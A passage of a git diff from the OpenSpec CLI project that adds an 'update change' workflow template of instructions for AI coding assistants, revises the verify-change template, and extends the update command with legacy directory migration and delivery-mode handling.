Preserve existing content not mentioned in delta +- Never copy a delta file into a main spec as-is - merge its content so the main spec keeps the Main Spec Format Reference structure, with no delta operation headers - If something is unclear, ask for clarification - Show what you're changing as you go -- The operation should be idempotent - running twice should give same result` +- The operation should be idempotent - running twice should give same result +- Use only \`artifactPaths.specs.existingOutputPaths\`; never infer delta specs from unrelated artifacts +- Honor a caller-supplied subset of \`existingOutputPaths\`; never widen it back to the full list +- Fetch specs instructions once for direct sync, or reuse the archive-supplied snapshot inline +- Stop before every main-spec write on a non-zero or invalid JSON specs-instruction response +- Artifact rules constrain only the specs being written and are never copied into output files` }; } diff --git a/src/core/templates/workflows/update-change.ts b/src/core/templates/workflows/update-change.ts new file mode 100644 index 0000000000..a716ec47b1 --- /dev/null +++ b/src/core/templates/workflows/update-change.ts @@ -0,0 +1,185 @@ +/** + * Skill Template Workflow Modules + * + * This file is generated by splitting the legacy monolithic + * templates file into workflow-focused modules. + */ +import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; + +export function getUpdateChangeSkillTemplate(): SkillTemplate { + return { + name: 'openspec-update-change', + description: "Update an OpenSpec change by revising its existing planning artifacts and keeping them coherent with one another. Use when the user wants to revise a change's plan, fold new decisions into it, or reconcile its artifacts after an edit. Never edits code.", + instructions: `Revise a change's existing planning artifacts and keep them coherent. Never edit code. + +${STORE_SELECTION_GUIDANCE} + +**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +\`/opsx:continue\` is an expanded-profile workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, \`openspec status --change "<name>" --json\` shows the next artifact and \`openspec instructions "<artifact-id>" --change "<name>" --json\` explains how to create it. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes sorted by most recently modified, and ask the user to select one + + When prompting, present the top 3-4 most recently modified changes as options, showing: + - Change name + - Schema (from \`schema\` field if present, otherwise "spec-driven") + - Status (e.g., "0/5 tasks", "complete", "no tasks") + - How recently it was modified (from \`lastModified\` field) + + Mark the most recently modified change as "(Recommended)" since it's likely what the user wants to update. + + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:update <other>\`). + +2. **Get the change's artifacts** + \`\`\`bash + openspec status --change "<name>" --json + \`\`\` + Parse the JSON to understand current state. The response includes: + - \`schemaName\`: The workflow schema being used (e.g., "spec-driven") + - \`artifacts\`: Array of artifacts with their status ("done", "skipped", "ready", "blocked") + - \`isPlanningComplete\`: Boolean indicating if all planning artifacts are complete. Older CLI versions expose the same value as \`isComplete\`. + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. + + The artifact ids and paths come from the active schema - do NOT assume them, and do NOT branch on hardcoded artifact names. Custom schemas must work unchanged. + + The files to edit are \`artifactPaths.<id>.existingOutputPaths\` - the concrete files that exist on disk, already glob-expanded for glob artifacts (e.g. \`specs/**/*.md\`). Do NOT write to \`resolvedOutputPath\`: for a glob artifact it is still the glob pattern, not a real file. + +3. **Understand the request** + - If the user asked for a specific revision ("the design now uses X"), that is the starting edit. + - If they only said "update" / "make this coherent", treat it as a coherence review: read the existing artifacts and check them against each other for contradictions, gaps, and duplication. + +4. **Read and reconcile** + - Read the artifact(s) the request touches and the change's other existing artifacts. + - Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised. + - Note everything that is now inconsistent, missing, or contradictory. + - Revise only files that already exist (\`existingOutputPaths\`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to \`/opsx:continue\` to create them. + - If the change is already coherent, say so and make no edits. + +5. **Confirm and apply, one artifact at a time** + - Show each proposed revision and why. Write only after the user confirms. + - If the user rejects a revision, do not write it - leave that artifact unchanged. + - When a substantial rewrite is needed, get that artifact's rules and template first: + \`\`\`bash + openspec instructions "<artifact-id>" --change "<name>" --json + \`\`\` + +6. **Point to the next step (guidance only - NEVER act on it)** + - Artifacts still missing -> suggest \`/opsx:continue\` to create them. + - Change already implemented (tasks checked off / already applied) -> the code may no longer match the revised plan; suggest \`/opsx:apply\` to carry the delta into code. + - Everything done and implemented -> suggest \`/opsx:archive\`. + +**Output** + +After each invocation, show: +- Which artifacts were revised (and which proposed revisions were rejected) +- Anything deferred to \`/opsx:continue\` (not-yet-created artifacts or files) +- Where the change stands and the recommended next command + +**Guardrails** +- Planning artifacts only - NEVER edit implementation code. If the revised plan implies code changes, stop and point to \`/opsx:apply\`. +- Use the artifact ids and paths reported by \`openspec status\`; never branch on hardcoded artifact names. +- Edit only the concrete files in \`existingOutputPaths\`; never write to a glob \`resolvedOutputPath\`. +- Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is \`/opsx:continue\`'s job. +- Confirm every edit with the user before writing. +- If the request changes the change's *intent* rather than refining it, first verify whether the expanded-profile \`/opsx:new\` workflow is available. If it is, recommend starting fresh with \`/opsx:new\` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend \`openspec new change "<new-change-name>"\` instead.`, + license: 'MIT', + compatibility: 'Requires openspec CLI.', + metadata: { author: 'openspec', version: '1.0' }, + }; +} + +export function getOpsxUpdateCommandTemplate(): CommandTemplate { + return { + name: 'OPSX: Update', + description: "Update a change - revise existing planning artifacts and keep them coherent (Experimental)", + category: 'Workflow', + tags: ['workflow', 'artifacts', 'experimental'], + content: `Revise a change's existing planning artifacts and keep them coherent. Never edit code. + +${STORE_SELECTION_GUIDANCE} + +**Input**: Optionally specify a change name after \`/opsx:update\` (e.g., \`/opsx:update add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +\`/opsx:continue\` is an expanded-profile workflow and may not be installed. Before suggesting it anywhere below, verify that it is available. If it is unavailable, \`openspec status --change "<name>" --json\` shows the next artifact and \`openspec instructions "<artifact-id>" --change "<name>" --json\` explains how to create it. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes sorted by most recently modified, and ask the user to select one + + When prompting, present the top 3-4 most recently modified changes as options, showing: + - Change name + - Schema (from \`schema\` field if present, otherwise "spec-driven") + - Status (e.g., "0/5 tasks", "complete", "no tasks") + - How recently it was modified (from \`lastModified\` field) + + Mark the most recently modified change as "(Recommended)" since it's likely what the user wants to update. + + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:update <other>\`). + +2. **Get the change's artifacts** + \`\`\`bash + openspec status --change "<name>" --json + \`\`\` + Parse the JSON to understand current state. The response includes: + - \`schemaName\`: The workflow schema being used (e.g., "spec-driven") + - \`artifacts\`: Array of artifacts with their status ("done", "skipped", "ready", "blocked") + - \`isPlanningComplete\`: Boolean indicating if all planning artifacts are complete. Older CLI versions expose the same value as \`isComplete\`. + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. + + The artifact ids and paths come from the active schema - do NOT assume them, and do NOT branch on hardcoded artifact names. Custom schemas must work unchanged. + + The files to edit are \`artifactPaths.<id>.existingOutputPaths\` - the concrete files that exist on disk, already glob-expanded for glob artifacts (e.g. \`specs/**/*.md\`). Do NOT write to \`resolvedOutputPath\`: for a glob artifact it is still the glob pattern, not a real file. + +3. **Understand the request** + - If the user asked for a specific revision ("the design now uses X"), that is the starting edit. + - If they only said "update" / "make this coherent", treat it as a coherence review: read the existing artifacts and check them against each other for contradictions, gaps, and duplication. + +4. **Read and reconcile** + - Read the artifact(s) the request touches and the change's other existing artifacts. + - Apply the requested edit. Then check every other existing artifact against it - in ANY direction: an edit to a later artifact may require revising an earlier one, not only the other way around. Build order is a useful reading order, not a constraint on which artifacts may be revised. + - Note everything that is now inconsistent, missing, or contradictory. + - Revise only files that already exist (\`existingOutputPaths\`). Do NOT create artifacts that don't exist yet, and do NOT invent new files under a glob artifact - note them and point the user to \`/opsx:continue\` to create them. + - If the change is already coherent, say so and make no edits. + +5. **Confirm and apply, one artifact at a time** + - Show each proposed revision and why. Write only after the user confirms. + - If the user rejects a revision, do not write it - leave that artifact unchanged. + - When a substantial rewrite is needed, get that artifact's rules and template first: + \`\`\`bash + openspec instructions "<artifact-id>" --change "<name>" --json + \`\`\` + +6. **Point to the next step (guidance only - NEVER act on it)** + - Artifacts still missing -> suggest \`/opsx:continue\` to create them. + - Change already implemented (tasks checked off / already applied) -> the code may no longer match the revised plan; suggest \`/opsx:apply\` to carry the delta into code. + - Everything done and implemented -> suggest \`/opsx:archive\`. + +**Output** + +After each invocation, show: +- Which artifacts were revised (and which proposed revisions were rejected) +- Anything deferred to \`/opsx:continue\` (not-yet-created artifacts or files) +- Where the change stands and the recommended next command + +**Guardrails** +- Planning artifacts only - NEVER edit implementation code. If the revised plan implies code changes, stop and point to \`/opsx:apply\`. +- Use the artifact ids and paths reported by \`openspec status\`; never branch on hardcoded artifact names. +- Edit only the concrete files in \`existingOutputPaths\`; never write to a glob \`resolvedOutputPath\`. +- Do not advance the build frontier: no new artifacts, no new files under glob artifacts - that is \`/opsx:continue\`'s job. +- Confirm every edit with the user before writing. +- If the request changes the change's *intent* rather than refining it, first verify whether the expanded-profile \`/opsx:new\` workflow is available. If it is, recommend starting fresh with \`/opsx:new\` (the "Update vs. Start Fresh" heuristic). If it is unavailable, ask for a distinct unused change name and recommend \`openspec new change "<new-change-name>"\` instead.` + }; +} diff --git a/src/core/templates/workflows/verify-change.ts b/src/core/templates/workflows/verify-change.ts index fdb6b6703a..1aa540c76b 100644 --- a/src/core/templates/workflows/verify-change.ts +++ b/src/core/templates/workflows/verify-change.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getVerifyChangeSkillTemplate(): SkillTemplate { return { @@ -12,19 +13,24 @@ export function getVerifyChangeSkillTemplate(): SkillTemplate { description: 'Verify implementation matches change artifacts. Use when the user wants to validate that implementation is complete, correct, and coherent before archiving.', instructions: `Verify that an implementation matches the change artifacts (specs, tasks, design). +${STORE_SELECTION_GUIDANCE} + **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** - Run \`openspec list --json\` to get available changes. Use the **AskUserQuestion tool** to let the user select. + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one - Show changes that have implementation tasks (tasks artifact exists). + When prompting, show changes that have implementation tasks (tasks artifact exists). Include the schema used for each change if available. Mark changes with incomplete tasks as "(In Progress)". - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:verify <other>\`). 2. **Check status to understand the schema** \`\`\`bash @@ -32,9 +38,10 @@ export function getVerifyChangeSkillTemplate(): SkillTemplate { \`\`\` Parse the JSON to understand: - \`schemaName\`: The workflow being used (e.g., "spec-driven") + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context - Which artifacts exist for this change -3. **Get the change directory and load artifacts** +3. **Get planning context and load artifacts** \`\`\`bash openspec instructions apply --change "<name>" --json @@ -62,7 +69,7 @@ export function getVerifyChangeSkillTemplate(): SkillTemplate { - Recommendation: "Complete task: <description>" or "Mark as done if already implemented" **Spec Coverage**: - - If delta specs exist in \`openspec/changes/<name>/specs/\`: + - If delta specs exist in \`contextFiles.specs\`: - Extract all requirements (marked with "### Requirement:") - For each requirement: - Search codebase for keywords related to the requirement @@ -111,7 +118,7 @@ export function getVerifyChangeSkillTemplate(): SkillTemplate { 8. **Generate Verification Report** **Summary Scorecard**: - \`\`\` + \`\`\`markdown ## Verification Report: <change-name> ### Summary @@ -181,19 +188,24 @@ export function getOpsxVerifyCommandTemplate(): CommandTemplate { tags: ['workflow', 'verify', 'experimental'], content: `Verify that an implementation matches the change artifacts (specs, tasks, design). +${STORE_SELECTION_GUIDANCE} + **Input**: Optionally specify a change name after \`/opsx:verify\` (e.g., \`/opsx:verify add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** - Run \`openspec list --json\` to get available changes. Use the **AskUserQuestion tool** to let the user select. + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one - Show changes that have implementation tasks (tasks artifact exists). + When prompting, show changes that have implementation tasks (tasks artifact exists). Include the schema used for each change if available. Mark changes with incomplete tasks as "(In Progress)". - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:verify <other>\`). 2. **Check status to understand the schema** \`\`\`bash @@ -201,9 +213,10 @@ export function getOpsxVerifyCommandTemplate(): CommandTemplate { \`\`\` Parse the JSON to understand: - \`schemaName\`: The workflow being used (e.g., "spec-driven") + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context - Which artifacts exist for this change -3. **Get the change directory and load artifacts** +3. **Get planning context and load artifacts** \`\`\`bash openspec instructions apply --change "<name>" --json @@ -231,7 +244,7 @@ export function getOpsxVerifyCommandTemplate(): CommandTemplate { - Recommendation: "Complete task: <description>" or "Mark as done if already implemented" **Spec Coverage**: - - If delta specs exist in \`openspec/changes/<name>/specs/\`: + - If delta specs exist in \`contextFiles.specs\`: - Extract all requirements (marked with "### Requirement:") - For each requirement: - Search codebase for keywords related to the requirement @@ -280,7 +293,7 @@ export function getOpsxVerifyCommandTemplate(): CommandTemplate { 8. **Generate Verification Report** **Summary Scorecard**: - \`\`\` + \`\`\`markdown ## Verification Report: <change-name> ### Summary diff --git a/src/core/update.ts b/src/core/update.ts index de922a5ffe..3ac02feb44 100644 --- a/src/core/update.ts +++ b/src/core/update.ts @@ -11,7 +11,7 @@ import ora from 'ora'; import * as fs from 'fs'; import { createRequire } from 'module'; import { FileSystemUtils } from '../utils/file-system.js'; -import { transformToHyphenCommands } from '../utils/command-references.js'; +import { getSkillReferenceTransformer, getTransformerForTool, transformToSkillReferences } from '../utils/command-references.js'; import { AI_TOOLS, OPENSPEC_DIR_NAME } from './config.js'; import { generateCommands, @@ -23,34 +23,69 @@ import { getCommandContents, generateSkillContent, getToolsWithSkillsDir, + hasGlobalSkillTarget, + resolveToolSkillsDir, + toolSupportsSkills, type ToolVersionStatus, } from './shared/index.js'; import { detectLegacyArtifacts, cleanupLegacyArtifacts, + formatDeferredGlobalPromptSummary, formatCleanupSummary, formatDetectionSummary, + getLegacyGlobalPromptMatches, + getLegacyWorkflowIdsForTool, getToolsFromLegacyArtifacts, + omitGlobalLegacyPromptFiles, + pickGlobalLegacyPromptFiles, type LegacyDetectionResult, } from './legacy-cleanup.js'; import { isInteractive } from '../utils/interactive.js'; -import { getGlobalConfig, type Delivery } from './global-config.js'; -import { getProfileWorkflows, ALL_WORKFLOWS } from './profiles.js'; +import { getGlobalConfig, type Delivery, type Profile } from './global-config.js'; +import { getProfileWorkflows, ALL_WORKFLOWS, CORE_WORKFLOWS } from './profiles.js'; +import { getOnboardingCommands } from './onboarding-commands.js'; import { getAvailableTools } from './available-tools.js'; import { WORKFLOW_TO_SKILL_DIR, - getCommandConfiguredTools, getConfiguredToolsForProfileSync, getToolsNeedingProfileSync, } from './profile-sync-drift.js'; import { scanInstalledWorkflows as scanInstalledWorkflowsShared, migrateIfNeeded as migrateIfNeededShared, + findLegacyToolMigrations, + migrateLegacyToolDirs, + describeLegacyMigration, + legacyMigrationNotice, + keptInPlaceNotice, + hasMovableContent, + type LegacyToolMigration, } from './migration.js'; +import { + resolveCommandSurfaceCapability, + resolveCommandInvocation, + shouldGenerateCommandsForTool, + shouldGenerateSkillsForTool, + shouldReconcileCommandFilesForTool, + shouldRemoveSkillsForTool, +} from './command-surface.js'; +import { writeSharedSkillTarget } from './shared-skill-target.js'; +import { includesGitHubCopilot, writeCopilotCloudFiles, removeCopilotCloudFiles, isCopilotCloudEnabled, readCopilotCloudOptIn, findUnmanagedCloudFiles } from './github-copilot/cloud-agent.js'; const require = createRequire(import.meta.url); const { version: OPENSPEC_VERSION } = require('../../package.json'); +/** + * Captures legacy migration side effects so update can refresh newly configured + * tools and honor workflow subsets inferred from legacy Codex prompt filenames. + */ +type LegacyUpgradeResult = { + newlyConfiguredTools: string[]; + workflowOverrides: Partial<Record<string, readonly (typeof ALL_WORKFLOWS)[number][]>>; + deferredGlobalCleanup?: LegacyDetectionResult; +}; + /** * Options for the update command. */ @@ -79,6 +114,12 @@ export class UpdateCommand { this.force = options.force ?? false; } + /** + * Refreshes OpenSpec skills and commands for all configured tools, + * regenerating artifacts according to the effective profile and delivery mode. + * + * @param projectPath - Path to the project root containing the openspec directory + */ async execute(projectPath: string): Promise<void> { const resolvedProjectPath = path.resolve(projectPath); const openspecPath = path.join(resolvedProjectPath, OPENSPEC_DIR_NAME); @@ -88,7 +129,18 @@ export class UpdateCommand { throw new Error(`No OpenSpec directory found. Run 'openspec init' first.`); } - // 2. Perform one-time migration if needed before any legacy upgrade generation. + // 2. Migrate OpenSpec-managed skills left in renamed tool directories + // (e.g. .kimi -> .kimi-code) so they stay detected and get refreshed, + // then perform the one-time profile migration if needed before any + // legacy upgrade generation. + for (const migration of migrateLegacyToolDirs(resolvedProjectPath)) { + if (hasMovableContent(migration)) { + console.log(chalk.dim(`Migrated ${describeLegacyMigration(migration)}: ${migration.from} → ${migration.to}`)); + } + this.reportKeptInPlace(migration); + } + const declinedMigrations = await this.offerConsentedLegacyMigrations(resolvedProjectPath); + // Use detected tool directories to preserve existing opsx skills/commands. const detectedTools = getAvailableTools(resolvedProjectPath); migrateIfNeededShared(resolvedProjectPath, detectedTools); @@ -101,40 +153,69 @@ export class UpdateCommand { const desiredWorkflows = profileWorkflows.filter((workflow): workflow is (typeof ALL_WORKFLOWS)[number] => (ALL_WORKFLOWS as readonly string[]).includes(workflow) ); - const shouldGenerateSkills = delivery !== 'commands'; - const shouldGenerateCommands = delivery !== 'skills'; // 4. Detect and handle legacy artifacts + upgrade legacy tools using effective config - const newlyConfiguredTools = await this.handleLegacyCleanup( + const legacyUpgrade = await this.handleLegacyCleanup( resolvedProjectPath, desiredWorkflows, delivery ); + const { + newlyConfiguredTools, + workflowOverrides: legacyWorkflowOverrides, + deferredGlobalCleanup, + } = legacyUpgrade; // 5. Find configured tools const configuredTools = getConfiguredToolsForProfileSync(resolvedProjectPath); + const configuredAndNewTools = [...new Set([...configuredTools, ...newlyConfiguredTools])]; if (configuredTools.length === 0 && newlyConfiguredTools.length === 0) { + if (deferredGlobalCleanup) { + await this.performDeferredGlobalPromptCleanup(resolvedProjectPath, deferredGlobalCleanup); + } + if (declinedMigrations.length > 0) { + // Not an unconfigured project — a configured one the user chose to + // leave in its former directory. Saying "run init" would be wrong. + for (const migration of declinedMigrations) { + console.log( + chalk.yellow( + `Nothing to update: this project's OpenSpec files are still in ${migration.from}/, ` + + `which OpenSpec no longer writes.` + ) + ); + console.log( + chalk.dim(`Re-run "openspec update" and accept the move to ${migration.to}/ to resume updates.`) + ); + } + return; + } + await this.syncCopilotCloudFiles(resolvedProjectPath, configuredAndNewTools); console.log(chalk.yellow('No configured tools found.')); console.log(chalk.dim('Run "openspec init" to set up tools.')); return; } - // 6. Check version status for all configured tools - const commandConfiguredTools = getCommandConfiguredTools(resolvedProjectPath); - const commandConfiguredSet = new Set(commandConfiguredTools); - const toolStatuses = configuredTools.map((toolId) => { - const status = getToolVersionStatus(resolvedProjectPath, toolId, OPENSPEC_VERSION); - if (!status.configured && commandConfiguredSet.has(toolId)) { - return { ...status, configured: true }; - } - return status; - }); + // 6. Check version status for all configured tools, against the same workflow set + // the generation loop below writes — otherwise a legacy-upgraded tool would be + // fingerprinted against commands it was never given. + const toolStatuses = configuredTools.map((toolId) => + getToolVersionStatus(resolvedProjectPath, toolId, OPENSPEC_VERSION, { + workflows: legacyWorkflowOverrides[toolId] ?? desiredWorkflows, + }) + ); const statusByTool = new Map(toolStatuses.map((status) => [status.toolId, status] as const)); // 7. Smart update detection const toolsNeedingVersionUpdate = toolStatuses - .filter((s) => s.needsUpdate) + .filter((s) => { + if (!s.needsUpdate || delivery !== 'commands') { + return s.needsUpdate; + } + + const tool = AI_TOOLS.find((candidate) => candidate.value === s.toolId); + return !tool || !hasGlobalSkillTarget(tool); + }) .map((s) => s.toolId); const toolsNeedingConfigSync = getToolsNeedingProfileSync( resolvedProjectPath, @@ -148,32 +229,40 @@ export class UpdateCommand { ]); const toolsUpToDate = toolStatuses.filter((s) => !toolsToUpdateSet.has(s.toolId)); - if (!this.force && toolsToUpdateSet.size === 0) { + if (!this.force && toolsToUpdateSet.size === 0 && newlyConfiguredTools.length === 0) { + if (deferredGlobalCleanup) { + await this.performDeferredGlobalPromptCleanup(resolvedProjectPath, deferredGlobalCleanup); + } // All tools are up to date this.displayUpToDateMessage(toolStatuses); + await this.syncCopilotCloudFiles(resolvedProjectPath, configuredAndNewTools); // Still check for new tool directories and extra workflows this.detectNewTools(resolvedProjectPath, configuredTools); this.displayExtraWorkflowsNote(resolvedProjectPath, configuredTools, desiredWorkflows); + this.displayMissingCoreWorkflowsNote(profile, globalConfig.workflows); + this.displaySetupNotes(configuredTools); return; } // 8. Display update plan if (this.force) { console.log(`Force updating ${configuredTools.length} tool(s): ${configuredTools.join(', ')}`); + } else if (toolsToUpdateSet.size === 0) { + console.log('No additional refresh needed after legacy migration.'); } else { this.displayUpdatePlan([...toolsToUpdateSet], statusByTool, toolsUpToDate); } console.log(); // 9. Determine what to generate based on delivery - const skillTemplates = shouldGenerateSkills ? getSkillTemplates(desiredWorkflows) : []; - const commandContents = shouldGenerateCommands ? getCommandContents(desiredWorkflows) : []; - + const deliveryIncludesCommands = delivery !== 'skills'; // 10. Update tools (all if force, otherwise only those needing update) const toolsToUpdate = this.force ? configuredTools : [...toolsToUpdateSet]; const updatedTools: string[] = []; const failedTools: Array<{ name: string; error: string }> = []; + const skillsInvocableCommandSkips: string[] = []; + const zeroArtifactTools: string[] = []; let removedCommandCount = 0; let removedSkillCount = 0; let removedDeselectedCommandCount = 0; @@ -181,12 +270,18 @@ export class UpdateCommand { for (const toolId of toolsToUpdate) { const tool = AI_TOOLS.find((t) => t.value === toolId); - if (!tool?.skillsDir) continue; + if (!tool || !toolSupportsSkills(tool)) continue; const spinner = ora(`Updating ${tool.name}...`).start(); try { - const skillsDir = path.join(resolvedProjectPath, tool.skillsDir, 'skills'); + const skillsDir = resolveToolSkillsDir(resolvedProjectPath, tool); + const skillsRoot = hasGlobalSkillTarget(tool) ? skillsDir : resolvedProjectPath; + const shouldGenerateSkills = shouldGenerateSkillsForTool(tool.value, delivery); + const shouldGenerateCommands = shouldGenerateCommandsForTool(tool.value, delivery); + const toolWorkflows = legacyWorkflowOverrides[tool.value] ?? desiredWorkflows; + const skillTemplates = getSkillTemplates(toolWorkflows); + const commandContents = getCommandContents(toolWorkflows); // Generate skill files if delivery includes skills if (shouldGenerateSkills) { @@ -194,18 +289,38 @@ export class UpdateCommand { const skillDir = path.join(skillsDir, dirName); const skillFile = path.join(skillDir, 'SKILL.md'); - // Use hyphen-based command references for OpenCode - const transformer = (tool.value === 'opencode' || tool.value === 'pi') ? transformToHyphenCommands : undefined; + const transformer = getTransformerForTool( + tool.value, + delivery, + resolveCommandSurfaceCapability(tool.value), + resolveCommandInvocation(tool.value) + ); const skillContent = generateSkillContent(template, OPENSPEC_VERSION, transformer); + FileSystemUtils.assertPathWithin(skillsRoot, skillFile); await FileSystemUtils.writeFile(skillFile, skillContent); } + writeSharedSkillTarget(resolvedProjectPath, tool.value); - removedDeselectedSkillCount += await this.removeUnselectedSkillDirs(skillsDir, desiredWorkflows); + removedDeselectedSkillCount += await this.removeUnselectedSkillDirs( + skillsRoot, + skillsDir, + toolWorkflows + ); } // Delete skill directories if delivery is commands-only - if (!shouldGenerateSkills) { - removedSkillCount += await this.removeSkillDirs(skillsDir); + if (shouldRemoveSkillsForTool(tool.value, delivery) && !hasGlobalSkillTarget(tool)) { + removedSkillCount += await this.removeSkillDirs(skillsRoot, skillsDir); + // Persist the selected owner even when commands-only delivery leaves + // this target with no generated skills. + writeSharedSkillTarget(resolvedProjectPath, tool.value); + // A tool with no command adapter now has zero OpenSpec artifacts; + // say so like init does, rather than deleting its skills silently + // and letting tool detection re-suggest an init that would also + // generate nothing under this delivery setting. + if (!shouldGenerateCommandsForTool(tool.value, delivery)) { + zeroArtifactTools.push(tool.name); + } } // Generate commands if delivery includes commands @@ -215,25 +330,40 @@ export class UpdateCommand { const generatedCommands = generateCommands(commandContents, adapter); for (const cmd of generatedCommands) { - const commandFile = path.isAbsolute(cmd.path) ? cmd.path : path.join(resolvedProjectPath, cmd.path); + const commandFile = FileSystemUtils.resolveProjectArtifactPath( + resolvedProjectPath, + cmd.path + ); await FileSystemUtils.writeFile(commandFile, cmd.fileContent); } removedDeselectedCommandCount += await this.removeUnselectedCommandFiles( resolvedProjectPath, toolId, - desiredWorkflows + toolWorkflows ); } + } else if (deliveryIncludesCommands && resolveCommandSurfaceCapability(tool.value) === 'skills-invocable') { + skillsInvocableCommandSkips.push(tool.value); } // Delete command files if delivery is skills-only - if (!shouldGenerateCommands) { + if (shouldReconcileCommandFilesForTool(tool.value, delivery)) { removedCommandCount += await this.removeCommandFiles(resolvedProjectPath, toolId); } spinner.succeed(`Updated ${tool.name}`); updatedTools.push(tool.name); + for (const migration of migrateLegacyToolDirs( + resolvedProjectPath, + [tool.value], + 'after-generation' + )) { + if (hasMovableContent(migration)) { + console.log(chalk.dim(`Migrated ${describeLegacyMigration(migration)}: ${migration.from} → ${migration.to}`)); + } + this.reportKeptInPlace(migration); + } } catch (error) { spinner.fail(`Failed to update ${tool.name}`); failedTools.push({ @@ -243,6 +373,10 @@ export class UpdateCommand { } } + if (deferredGlobalCleanup) { + await this.performDeferredGlobalPromptCleanup(resolvedProjectPath, deferredGlobalCleanup); + } + // 11. Summary console.log(); if (updatedTools.length > 0) { @@ -251,12 +385,25 @@ export class UpdateCommand { if (failedTools.length > 0) { console.log(chalk.red(`✗ Failed: ${failedTools.map(f => `${f.name} (${f.error})`).join(', ')}`)); } + if (skillsInvocableCommandSkips.length > 0) { + console.log(chalk.dim(`Commands skipped for: ${skillsInvocableCommandSkips.join(', ')} (uses skills)`)); + } if (removedCommandCount > 0) { console.log(chalk.dim(`Removed: ${removedCommandCount} command files (delivery: skills)`)); } if (removedSkillCount > 0) { console.log(chalk.dim(`Removed: ${removedSkillCount} skill directories (delivery: commands)`)); } + if (zeroArtifactTools.length > 0) { + const names = zeroArtifactTools.join(', '); + console.log( + chalk.yellow( + `No skills or commands remain for ${names}: delivery is set to 'commands' but ` + + `${zeroArtifactTools.length === 1 ? 'it supports' : 'they support'} only skills. ` + + `Run 'openspec config set delivery both' to generate skills.` + ) + ); + } if (removedDeselectedCommandCount > 0) { console.log(chalk.dim(`Removed: ${removedDeselectedCommandCount} command files (deselected workflows)`)); } @@ -264,24 +411,64 @@ export class UpdateCommand { console.log(chalk.dim(`Removed: ${removedDeselectedSkillCount} skill directories (deselected workflows)`)); } - // 12. Show onboarding message for newly configured tools from legacy upgrade + // 12. Show onboarding message for newly configured tools from legacy upgrade. + // Command tools get the command name their files answer to, skill-only + // tools their documented skill invocation, and disagreements fall back to + // naming the skill. if (newlyConfiguredTools.length > 0) { + const referenceFor = (command: string): string => { + const neutralForm = `the ${transformToSkillReferences(command).slice(1)} skill`; + const forms = new Set( + newlyConfiguredTools.map((toolId) => { + if (shouldGenerateCommandsForTool(toolId, delivery)) { + // Name the command the tool's files actually answer to: + // /opsx-<id> where the filename is the command name. + const transformer = getTransformerForTool( + toolId, + delivery, + resolveCommandSurfaceCapability(toolId), + resolveCommandInvocation(toolId) + ); + return transformer ? transformer(command) : command; + } + return getSkillReferenceTransformer(toolId)(command); + }) + ); + return forms.size === 1 ? [...forms][0] : neutralForm; + }; + // Only hint at workflows these tools actually received. A legacy upgrade + // can install a narrower set than the profile (inferred Codex prompts). + const installedWorkflows = [ + ...new Set( + newlyConfiguredTools.flatMap( + (toolId) => legacyWorkflowOverrides[toolId] ?? desiredWorkflows + ) + ), + ]; + const entries: Array<[string, string]> = getOnboardingCommands(installedWorkflows).map( + ({ command, description }) => [referenceFor(command), description] + ); console.log(); - console.log(chalk.bold('Getting started:')); - console.log(' /opsx:new Start a new change'); - console.log(' /opsx:continue Create the next artifact'); - console.log(' /opsx:apply Implement tasks'); - console.log(); + if (entries.length > 0) { + const width = Math.max(...entries.map(([reference]) => reference.length)); + console.log(chalk.bold('Getting started:')); + for (const [reference, description] of entries) { + console.log(` ${reference.padEnd(width)} ${description}`); + } + console.log(); + } console.log(`Learn more: ${chalk.cyan('https://github.com/Fission-AI/OpenSpec')}`); } - const configuredAndNewTools = [...new Set([...configuredTools, ...newlyConfiguredTools])]; + await this.syncCopilotCloudFiles(resolvedProjectPath, configuredAndNewTools); // 13. Detect new tool directories not currently configured this.detectNewTools(resolvedProjectPath, configuredAndNewTools); // 14. Display note about extra workflows not in profile this.displayExtraWorkflowsNote(resolvedProjectPath, configuredAndNewTools, 